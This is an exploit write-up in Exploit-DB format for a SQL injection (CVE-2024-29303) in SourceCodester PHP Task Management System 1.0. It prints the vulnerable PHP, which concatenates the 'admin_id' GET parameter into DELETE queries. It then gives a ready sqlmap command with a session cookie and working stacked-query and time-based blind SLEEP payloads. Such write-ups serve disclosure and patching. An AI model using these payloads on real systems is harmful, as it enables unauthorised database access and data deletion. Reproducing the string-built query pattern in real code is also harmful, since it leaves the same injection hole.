```text
# Exploit Title: SourceCodester PHP Task Management System 1.0 (admin-manage-user.php) - SQL Injection
# Date: 22 March 2024
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor Homepage: https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/taskmatic.zip
# Version: v1.0
# CVE: CVE-2024-29303
# Tested on: Mac OSX, XAMPP, Apache, MySQL
-------------------------------------------------------------------------------------------------------------------------------------------
Source Code(taskmatic/admin-manage-user.php):
if(isset($_GET['delete_user'])){
$action_id = $_GET['admin_id'];
$task_sql = "DELETE FROM task_info WHERE t_user_id = $action_id";
$delete_task = $obj_admin->db->prepare($task_sql);
$delete_task->execute();
$attendance_sql = "DELETE FROM attendance_info WHERE atn_user_id = $action_id";
$delete_attendance = $obj_admin->db->prepare($attendance_sql);
$delete_attendance->execute();
$sql = "DELETE FROM tbl_admin WHERE user_id = :id";
$sent_po = "admin-manage-user.php";
$obj_admin->delete_data_by_this_method($sql,$action_id,$sent_po);
}
-> sqlmap -u "http://localhost/taskmatic/taskmatic/admin-manage-user.php?delete_user=delete_user&admin_id=28" --cookie="Cookie: PHPSESSID=plhvl5e53hbuvq9stj21mesirj" --batch --dbs
---
Parameter: admin_id (GET)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: delete_user=delete_user&admin_id=28;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: delete_user=delete_user&admin_id=28 AND (SELECT 9863 FROM (SELECT(SLEEP(5)))wYJM)
---
```
